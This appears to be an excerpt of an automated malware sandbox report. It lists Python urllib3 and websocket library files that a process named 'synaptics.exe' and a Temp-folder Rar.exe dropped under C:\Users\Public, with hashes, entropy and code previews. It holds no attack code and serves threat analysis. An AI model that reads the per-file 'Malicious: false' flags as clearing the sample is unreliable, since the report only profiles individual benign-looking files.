Preview:	o.......=..fG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float \| None..returnc....................C...sb...\|.s.\|.s.t.d.....g.}.g.}.\|.r.\|...\|.....\|.r.\|...\|.....t.t.j.\|.\|.\|...}.\|.\|...\.}.}.}.t.\|.p/\|.p/\|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...\|.s.\|.s.t.d.....d.}.\|.r.\|.t.j.O.}.\|.r.\|.t.j.O.}.t...........\|.\|.....d...f.d.d...}.t.\|.\|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....\|.d.u.r.\|.d.9.}.....\|...S.).Ni....)...poll).r..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\wait.cpython-310.pyc.69272904

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	5.152838774685659
Encrypted:	false
SSDEEP:	48:3y6A4HN1SSpUlQYvX7ws85K4CE8uG9G0N3Ae8wWv9O3ArDiPh:3y6A4HT1pMvX7h0mh9GcAFwWlIArDiPh
MD5:	CCC0DA8D59E9CD01540D64AA55F301D2
SHA1:	A511DB83382D48750970B07BFDB1362CD7ED9EF1
SHA-256:	4E103663D9FF581E17A89FEC67A9F8A4661C05E04BA131329E0B19EE48F1E8F1
SHA-512:	47CB7CA3BA3D11E5632FDA972BBCBA39794E7B278569A6FB66207BFBFB5A4064ED0B2ACD74D4DFFC626CA1BD1949CCCFBA46D6045566A571B1B4BD5E1150FD82
Malicious:	false
Reputation:	low
Preview:	o.......=..fG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float \| None..returnc....................C...sb...\|.s.\|.s.t.d.....g.}.g.}.\|.r.\|...\|.....\|.r.\|...\|.....t.t.j.\|.\|.\|...}.\|.\|...\.}.}.}.t.\|.p/\|.p/\|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...\|.s.\|.s.t.d.....d.}.\|.r.\|.t.j.O.}.\|.r.\|.t.j.O.}.t...........\|.\|.....d...f.d.d...}.t.\|.\|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....\|.d.u.r.\|.d.9.}.....\|...S.).Ni....)...poll).r..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\connection.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	4458
Entropy (8bit):	4.691042019913651
Encrypted:	false
SSDEEP:	96:Uq30QyT1QdMw0PwwStdwcWTyFIPCjuRIi84omvLBoQ/nQo:Uqfyi6c6omvp/Qo
MD5:	EB8C202F6EE2C1F04C1CC1C6B74D3973
SHA1:	24D78D86DC4C3C1F9363EB9AF5725314FC42667A
SHA-256:	D28EFDFB935B45FA410F2A1E8463CB982039E38B024A25EFC74985F71CB7186D
SHA-512:	97E5C41588B0D31AF62772BD1EC883E252537B41AF8C745491E5197F43AA133408477826B58951EA91631B876DBB34A464C281ACA592303920ECA87125B6E383
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import socket.import typing..from ..exceptions import LocationParseError.from .timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.._TYPE_SOCKET_OPTIONS = typing.List[typing.Tuple[int, int, typing.Union[int, bytes]]]..if typing.TYPE_CHECKING:. from .._base_connection import BaseHTTPConnection...def is_connection_dropped(conn: BaseHTTPConnection) -> bool: # Platform-specific. """. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. """. return not conn.is_connected...# This function is copied from socket.py in the Python 2.7 standard.# library test suite. Added to its signature is only `socket_options`..# One additional modification is that we avoid binding to IPv6 servers.# discovered in DNS if the system doesn't have IPv6 functionality..def create_connection(. address: tuple[str, int],. timeout: _TYPE_TIMEOUT = _DEFAULT_TIMEOUT,. source_address: tupl

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\proxy.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.568988072838994
Encrypted:	false
SSDEEP:	24:1R7i0ekLILn8+WQXvAFnT8adOeeleCfdO2MG89dYTysSd2o:PIgILn8+W38awee8CfdO2MG89dWysSdF
MD5:	9BD4BCA24A0FA10D896D386B7D736697
SHA1:	A10A3A580A9FEF94AF52CF37E00A9913E0F64DA0
SHA-256:	B1E3FCF90E41E9B07474CB703E3F98719650DF4BC7B8BA91BBEB48D096767F3B
SHA-512:	FECEE94612F30C3A5DEA846F6245BD4B5C717F9E65D6450C26DCD22B9DBF2CDD8B00C60FBA5143BC986A5CAEED22A4B64FA6CEDA5369CCF71A72861E9553E7C9
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import typing..from .url import Url..if typing.TYPE_CHECKING:. from ..connection import ProxyConfig...def connection_requires_http_tunnel(. proxy_url: Url \| None = None,. proxy_config: ProxyConfig \| None = None,. destination_scheme: str \| None = None,.) -> bool:. """. Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). """. # If we're not using a proxy, no way to use a tunnel.. if proxy_url is None:. return False.. # HTTP destinations never require tunneling, we always forward.. if destination_scheme == "http":. return False.. # Support for forwarding with HTTPS proxies and HTTPS destinations.. if (. proxy_url.scheme == "https". a

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\request.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8064
Entropy (8bit):	4.745558576767803
Encrypted:	false
SSDEEP:	96:I9yg6hKFsmz/Q2P7fTqSzblmEvxcUA7W/EE6aLHMCtkEy20KzaV79KW:r/hKZz/P7bq6pmEXAiHXbqp5
MD5:	C77F7D6FA029F06E949D277D7864A17A
SHA1:	0459A2C46601226E176D89691A2EC83CC5D8ECE8
SHA-256:	52B676837CB7B2D1A91FCAE6F92C7CFA896581E8A2288E3DE83657442C316FDA
SHA-512:	13B4DFA3D5DA5932348CE5DF531110C897C568662CA26369ABE9B07C16E58E88FA49C45CD741EE2FD718E41F5A950CEDB9930A50912D58351C225FB2A10B3E35
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import io.import typing.from base64 import b64encode.from enum import Enum..from ..exceptions import UnrewindableBodyError.from .util import to_bytes..if typing.TYPE_CHECKING:. from typing import Final..# Pass as a value within ``headers`` to skip.# emitting some HTTP headers that are added automatically..# The only headers that are supported are ``Accept-Encoding``,.# ``Host``, and ``User-Agent``..SKIP_HEADER = "@@@SKIP_HEADER@@@".SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"])..ACCEPT_ENCODING = "gzip,deflate".try:. try:. import brotlicffi as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401. except ImportError:. import brotli as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",br".try:. import zstandard as _unused_module_zstd # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",z

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\response.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.616514316314554
Encrypted:	false
SSDEEP:	48:Pn2y1uZsY0Gb9PpvNY4zamL7gkLgUCj0ZDkB7ST0FFaAHt5JhKCUAR6Px6nZwHec:+CuF0sPpvz+b5w8Ff/JOC6PIHc
MD5:	B4AB7140164239E3CAA07E0D2672326F
SHA1:	F296CB85D9DF58E5F40F560C9DAE60DB5AF70961
SHA-256:	BD013ADFDBA81218F5BE98C4771BB994D22124249466477BA6A965508D0164E0
SHA-512:	4750FADBD852F723AF3A01006EF1A87B0F4D53264E2077F05DF1D99CBC965D6EBFAC0028BBB18916A4A4931E72DCAAB6A066762055996AD8CBE36EBF0DDA0D08
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import http.client as httplib.from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect..from ..exceptions import HeaderParsingError...def is_fp_closed(obj: object) -> bool:. """. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. """.. try:. # Check `isclosed()` first, in case Python3 doesn't set `closed`.. # GH Issue #928. return obj.isclosed() # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check via the official file-like-object way.. return obj.closed # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check if the object is a container for another file-like object that. # gets released on exhaustion (e.g. HTTPResponse).. return obj.fp is None # type: ignore[attr-defined]. except AttributeError:

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\retry.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18459
Entropy (8bit):	4.430321061770966
Encrypted:	false
SSDEEP:	192:WBMf12FuuccXjtRLJIkyMT9hFP0POAFuMqaWJef2Z0t5CpPu2wFsWrdLOGdUhoR8:WXsuPVnpXA5CcOaUT
MD5:	3E8C2638CEB2BCF5173627AE24C6324D
SHA1:	C718DEC62FEDD1780FBDE1B9F6C96B4460A5383F
SHA-256:	6E3FB6614A9B9712E5BFC4C78397F1C30F83339E1709B8E0657210EF55E2A026
SHA-512:	5E394519BC0E03868D2AD098BD70E6F8847D8E7716F9FE1808AC171C550043F8E67EE21A5FF4AFA4F343435F5E5D11C22FCBCE465E2D14A430882870E5394B6E
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import email.import logging.import random.import re.import time.import typing.from itertools import takewhile.from types import TracebackType..from ..exceptions import (. ConnectTimeoutError,. InvalidHeader,. MaxRetryError,. ProtocolError,. ProxyError,. ReadTimeoutError,. ResponseError,.).from .util import reraise..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from ..connectionpool import ConnectionPool. from ..response import BaseHTTPResponse..log = logging.getLogger(__name__)...# Data structure for representing the metadata of requests that result in a retry..class RequestHistory(typing.NamedTuple):. method: str \| None. url: str \| None. error: Exception \| None. status: int \| None. redirect_location: str \| None...class Retry:. """Retry configuration... Each retry attempt will create a new Retry object with updated values, so. they can be safely reused... Retries can be defined

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\ssl_.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19238
Entropy (8bit):	4.878450596452805
Encrypted:	false
SSDEEP:	384:3SsP+N8GFe6jhepukwg242k1xnaLaQ7pfpyA7y+MwobAQ7pfpyA7y+MwobtymDIc:3SAqgZ1xwpfpyA7y+Mwo0qpfpyA7y+MT
MD5:	315406A6A4D48F43D3DDA930E408DCDE
SHA1:	A41345D8FDF9312F6BCE9B0BB66478C7841E2E69
SHA-256:	58DF1AE8A3CF72FBA46D9D0C5250403A41A297C6D8298F0DA0860EC3B41E38B2
SHA-512:	4E497BF9687658397AFAD745E0AB94AEA8199451FACDD6C8BB85725D5819EDEC6B807F3DF4E7D2AC42D24B8921FFACA2623E28B142BED61658B02D30968ECC4D
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import hashlib.import hmac.import os.import socket.import sys.import typing.import warnings.from binascii import unhexlify..from ..exceptions import ProxySchemeUnsupported, SSLError.from .url import _BRACELESS_IPV6_ADDRZ_RE, _IPV4_RE..SSLContext = None.SSLTransport = None.HAS_NEVER_CHECK_COMMON_NAME = False.IS_PYOPENSSL = False.ALPN_PROTOCOLS = ["http/1.1"].._TYPE_VERSION_INFO = typing.Tuple[int, int, int, str, int]..# Maps the length of a digest to a possible hash function producing this digest.HASHFUNC_MAP = {. length: getattr(hashlib, algorithm, None). for length, algorithm in ((32, "md5"), (40, "sha1"), (64, "sha256")).}...def _is_bpo_43522_fixed(. implementation_name: str,. version_info: _TYPE_VERSION_INFO,. pypy_version_info: _TYPE_VERSION_INFO \| None,.) -> bool:. """Return True for CPython 3.8.9+, 3.9.3+ or 3.10+ and PyPy 7.3.8+ where. setting SSLContext.hostname_checks_common_name to False works... Outside of CPython a

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\ssl_match_hostname.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5812
Entropy (8bit):	4.693270482744315
Encrypted:	false
SSDEEP:	96:qnswp1bMzfocVZn0QkWlQ2VrzjthGH5t+6Q5JZolPVJIpdmfNtSupXeqdWL:uR/bmXB0QkWqitUHFgZMIPmVgu4r
MD5:	AA846D5E039C6A30B7F7C3B684CAE3E7
SHA1:	9BD94E0DDD8ABF77F0A719D11A00836978C8F5B8
SHA-256:	81A5AA8B1A18B50FC628EF1F7111858F755778CA2ACB1410B944CF8167A22FF3
SHA-512:	DE8ACBBC98797D455A47C6F136F6415F36846F6CD8F09591407690BD673566DC483447FFE8DD125D6AD99A7B3C0137F3A3C31406E665597B0C86A04436F84408
Malicious:	false
Reputation:	low
Preview:	"""The match_hostname() function from Python 3.5, essential when using SSL."""..# Note: This file is under the PSF license as the code comes from the python.# stdlib. http://docs.python.org/3/license.html.# It is modified to remove commonName support...from __future__ import annotations..import ipaddress.import re.import typing.from ipaddress import IPv4Address, IPv6Address..if typing.TYPE_CHECKING:. from .ssl_ import _TYPE_PEER_CERT_RET_DICT..__version__ = "3.5.0.1"...class CertificateError(ValueError):. pass...def _dnsname_match(. dn: typing.Any, hostname: str, max_wildcards: int = 1.) -> typing.Match[str] \| None \| bool:. """Matching according to RFC 6125, section 6.4.3.. http://tools.ietf.org/html/rfc6125#section-6.4.3. """. pats = []. if not dn:. return False.. # Ported from python3-syntax:. # leftmost, remainder = dn.split(r'.'). parts = dn.split(r"."). leftmost = parts[0]. remainder = parts[1:].. wildcards = leftmost.count("").

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\ssltransport.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	4.514513834687227
Encrypted:	false
SSDEEP:	192:hUrcuD3X8sVqqJo6g3Nu0a76pyPsLxIjjhad:hKlD3xVV6kPs+XY
MD5:	47BEAC947B716FC99C5415D8B165AB40
SHA1:	1274169EA2A11D1E8243020DD3E49F66463E9EC7
SHA-256:	C29AC1BE19208DD76184CC3011B1F23F8972807A4FE924BEE3912E87BA1EE3C9
SHA-512:	E277F753860C78E5A0DFA22266FDFA6693C536FB55FB8B1CAB6156973168247152ADFD8E03E77215131921AECC35835D3FB577B049B099F356621380C406DCB7
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import io.import socket.import ssl.import typing..from ..exceptions import ProxySchemeUnsupported..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from .ssl_ import _TYPE_PEER_CERT_RET, _TYPE_PEER_CERT_RET_DICT..._WriteBuffer = typing.Union[bytearray, memoryview]._ReturnValue = typing.TypeVar("_ReturnValue")..SSL_BLOCKSIZE = 16384...class SSLTransport:. """. The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. implement TLS within TLS... The class supports most of the socket API operations.. """.. @staticmethod. def _validate_ssl_context_for_tls_in_tls(ssl_context: ssl.SSLContext) -> None:. """. Raises a ProxySchemeUnsupported if the provided ssl_context can't be used. for TLS in TLS... The only require

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\timeout.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10346
Entropy (8bit):	4.487203103410679
Encrypted:	false
SSDEEP:	192:FLWn+l/uQiHf8WSBXAG5yq3QnqXkHhsy6+:xWQ/uQA0MkGmCc+
MD5:	F4A48CE35A9B5729FEEA01D44490FCCF
SHA1:	166C5F455B7F05AD8D63687B29A0BF0724EBB2D5
SHA-256:	E1E4F5155799654EE1EE6603D49AB639735EE1FC5E91D36F868594919BAC4690
SHA-512:	669DA13231076509EC6F7005F55A91FC1364EDA287185842B738F0360088C7624EDA43C7151FD1CA1504CCD0D324FC54302BD4FCFC590027BA6264763F06485C
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import time.import typing.from enum import Enum.from socket import getdefaulttimeout..from ..exceptions import TimeoutStateError..if typing.TYPE_CHECKING:. from typing import Final...class _TYPE_DEFAULT(Enum):. # This value should never be passed to socket.settimeout() so for safety we use a -1.. # socket.settimout() raises a ValueError for negative values.. token = -1..._DEFAULT_TIMEOUT: Final[_TYPE_DEFAULT] = _TYPE_DEFAULT.token.._TYPE_TIMEOUT = typing.Optional[typing.Union[float, _TYPE_DEFAULT]]...class Timeout:. """Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout).. resp = http.request("GET", "https://example.com/").. print(resp.status).. Or per-request (which overrides the default for the pool):.. .. code-block:: python

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\url.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15213
Entropy (8bit):	4.872083630674659
Encrypted:	false
SSDEEP:	384:cJKD+3h7DAmC+kN5t7+RsFkz6zY6cHZy12x:cJxDXC+kflVkOzY6cHIK
MD5:	811AF7DB53FFD4120CE4D151FAFA1F24
SHA1:	4CA2FFF416F7893D662E257A6E1E7090524545AC
SHA-256:	C07391869F344405F24E5008913A8B1734AB914EC9DF8643C57FAD37AE4C0599
SHA-512:	3EA9FA41032E093F417A75420A6D94212E226999F4FEEC0C26DDC6D8845F43CD8FC4300610E62DF37A087CE3BE10CBEDB41B0EBA17C6685CA8D8E5F46CB504B2
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import re.import typing..from ..exceptions import LocationParseError.from .util import to_str..# We only want to normalize urls with an HTTP(S) scheme..# urllib3 infers URLs without a scheme (None) to be http.._NORMALIZABLE_SCHEMES = ("http", "https", None)..# Almost all of these patterns were derived from the.# 'rfc3986' module: https://github.com/python-hyper/rfc3986._PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}")._SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)")._URI_RE = re.compile(. r"^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?". r"(?://([^\\/?#]))?". r"([^?#])". r"(?:\?([^#]))?". r"(?:#(.))?$",. re.UNICODE \| re.DOTALL,.).._IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}"._HEX_PAT = "[0-9A-Fa-f]{1,4}"._LS32_PAT = "(?:{hex}:{hex}\|{ipv4})".format(hex=_HEX_PAT, ipv4=_IPV4_PAT)._subs = {"hex": _HEX_PAT, "ls32": _LS32_PAT}._variations = [. # 6( h16 ":" ) ls32. "(?:%(hex)s:){6}%(ls32)s",. #

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\util.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	4.443278207032918
Encrypted:	false
SSDEEP:	24:1R7Hhv+sQK995Vb624+Q3+shD9bVb62A+QUH3jtIB2qBoEcZwtj4ri:PUsVnDexdOshDHeVdw2BR42
MD5:	3C5DC84F86959542DF8F2D38FDCD9366
SHA1:	AC7A579CE7E37CE8BF215F97B9BFB80B149B0F68
SHA-256:	8F795B64AD633F28B00F7E13F08809CDD5846554FEE04FB4BD82098BD52378D0
SHA-512:	A67CDF2BB9B97217A8E99EDA0089961A5B4EA6BDD5BCB0BA490469FFFF422430373D61B2E9FF3E5B54CE23C5361C07EBD9B845003D35DC7FDCF3DCCA7A826A07
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import typing.from types import TracebackType...def to_bytes(. x: str \| bytes, encoding: str \| None = None, errors: str \| None = None.) -> bytes:. if isinstance(x, bytes):. return x. elif not isinstance(x, str):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.encode(encoding or "utf-8", errors=errors or "strict"). return x.encode()...def to_str(. x: str \| bytes, encoding: str \| None = None, errors: str \| None = None.) -> str:. if isinstance(x, str):. return x. elif not isinstance(x, bytes):. raise TypeError(f"not expecting type {type(x).__name__}"). if encoding or errors:. return x.decode(encoding or "utf-8", errors=errors or "strict"). return x.decode()...def reraise(. tp: type[BaseException] \| None,. value: BaseException,. tb: TracebackType \| None = None,.) -> typing.NoReturn:. try:. if value.__traceback__ is not t

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\wait.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4423
Entropy (8bit):	4.57958390877449
Encrypted:	false
SSDEEP:	96:6e0jQGAov2Rq9rFKYuBArDFL2c8WR9tg6L2LcJqKdDLfsWG1JAEg01AEDn:30jQGf9hKorDp2c86AW2LcJqyfsWgBD
MD5:	D333C4CDB4CF3074C1245164C65AAC59
SHA1:	B8FFB5126AB052A8798F03EFB7BC3D8C1BD6837A
SHA-256:	FE987C22B511DECA8FAA2D0EA29420254947E30CE419E3390A2C80ED7186B662
SHA-512:	A30CF0681A11CCB899D2FDD3CF355482DD8D3F51F2EFA4AE88C0A4B65C6E1A53FBB734F7BAE2DC51E85B5BE4AA767237EA14596FDECF66A715D51563B908AC5D
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import select.import socket.from functools import partial..__all__ = ["wait_for_read", "wait_for_write"]...# How should we wait on sockets?.#.# There are two types of APIs you can use for waiting on sockets: the fancy.# modern stateful APIs like epoll/kqueue, and the older stateless APIs like.# select/poll. The stateful APIs are more efficient when you have a lots of.# sockets to keep track of, because you can set them up once and then use them.# lots of times. But we only ever want to wait on a single socket at a time.# and don't want to keep track of state, so the stateless APIs are actually.# more efficient. So we want to use select() or poll()..#.# Now, how do we choose between select() and poll()? On traditional Unixes,.# select() has a strange calling convention that makes it slow, or fail.# altogether, for high-numbered file descriptors. The point of poll() is to fix.# that, so on Unixes, we prefer poll()..#.# On Windows, there is no poll() (o

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	833
Entropy (8bit):	4.959847702307672
Encrypted:	false
SSDEEP:	12:CV9ZwI4IEGMFj27dYCQLU0E+9o/HQknd7Gps2khWa98e9P8lB9YBUwaT:S9Zl4IpheU0E+4HQk1Gps2Gtd1ch
MD5:	7775948E379A698B6F7F0DB8926A95AE
SHA1:	E062FC33B86A7B9250A9EB10C8F448C1B9A0A86C
SHA-256:	1AF5694CF923BE16041997235ECCD27EBB3615A547B9D51D1A0192A9FFD16F0E
SHA-512:	C3ACBBB091977ED497C60DCD01A51DDC4DDA259033B65B3CFA55D6755BD045E23B47CB9C6F812123C2E72CD5EDD793C116BEAA8FD2F43F177E78A77F2EF34D64
Malicious:	false
Reputation:	low
Preview:	""".__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".from ._abnf import .from ._app import WebSocketApp as WebSocketApp, setReconnect as setReconnect.from ._core import .from ._exceptions import .from ._logging import .from ._socket import *..__version__ = "1.8.0".

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\init.cpython-310.pyc.71025152

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	982
Entropy (8bit):	5.482247975063762
Encrypted:	false
SSDEEP:	24:Z5G9Zl4IpheU0E+4HQk1Gps2OJjGJq4E+P:ZAl4+h0CH31KiJjG2g
MD5:	2992602B10AECD1F89DD35F6CE079345
SHA1:	545AAE4996C38E967493C1ACBD303B282C9D055E
SHA-256:	3B31F9F9797E296972C7F0D92288A54654D8F65E2FB47DCD432A33DD3C94A1BA
SHA-512:	F3BC8441A9E574C91D0421B24D11D0B18E2E92AF5114F887A89FBBA6063BF0A97AB7A189B0233488E9698F2296CBA4F3249749ED3E86CB12996D2A6B421F09A7
Malicious:	false
Reputation:	low
Preview:	o.........fA........................@...sD...d.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.T.d.d.l.T.d.d.l.T.d.d.l.T.d.Z.d.S.).ab....__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.......)...*)...WebSocketApp..setReconnectz.1.8.0N)...__doc__Z._abnfZ._appr....r....Z._core.._exceptionsZ._logging.._socket..__version__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\__init__.py..<module>....s....................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_abnf.cpython-310.pyc.71025272

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11151
Entropy (8bit):	5.411950423612766
Encrypted:	false
SSDEEP:	192:pfJmK7EmCkzdMfdx4cIl+UqLcHo36L5FskQJeCiROUppvaZdre82l4rn0WFV:DmTSulap8UCAo3Kn4GHppCe82+rn0o
MD5:	E47CF4AA8EEC779F22375E30C8768961
SHA1:	1D1CAD9FF8D547515B6CD2BBB5C7F1B7BF189BE9
SHA-256:	63798463C9D7A79A947FE5E4B5E7B7E1AF7A9A906A644A5457B0FF54C55D6DFA
SHA-512:	CD6E6A22943FD75FDCD9548EC686AE4566E02BAAE75A4B34D9AD61AC715476F523C3BEE42D7362267FCFB98624B350186AC94D2CC0A364220D0ACFC35419DC2F
Malicious:	false
Reputation:	low
Preview:	o.........f18.......................@...sJ...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....z.d.d.l.m.Z...d.e.j.d.e.j.d.e.f.d.d...Z.W.n...e.y]......e.j.Z.d.e.j.d.e.j.d.e.f.d.d...Z.Y.n.w.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%e.e.e.e.e.e.e.e e!e"e#e$f.Z&G.d.d...d...Z'G.d d!..d!..Z(G.d"d#..d#..Z)d.S.)$.....N)...Lock)...Callable..Optional..Union.....)...WebSocketPayloadException..WebSocketProtocolException)...validate_utf8)...XorMaskerSimple..mask_value..data_value..returnc....................C...s....t.\|.....\|...}.\|.S...N).r......process).r....r....Z.mask_result..r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_abnf.py.._mask%...s........r....c....................C...sH...t.\|...}.t...\|.t...}.t...\|.\|.d.....\|.d.\|.d.........t...}.\|.\|.A...\|.t...S.).N.....)...len..int..from_bytes..native_byteorder..to_bytes).r....r....Z.datalenZ.int_data_valueZ.int_mask_valuer....r....r....r....-...s................).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_app.cpython-310.pyc.71025512

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
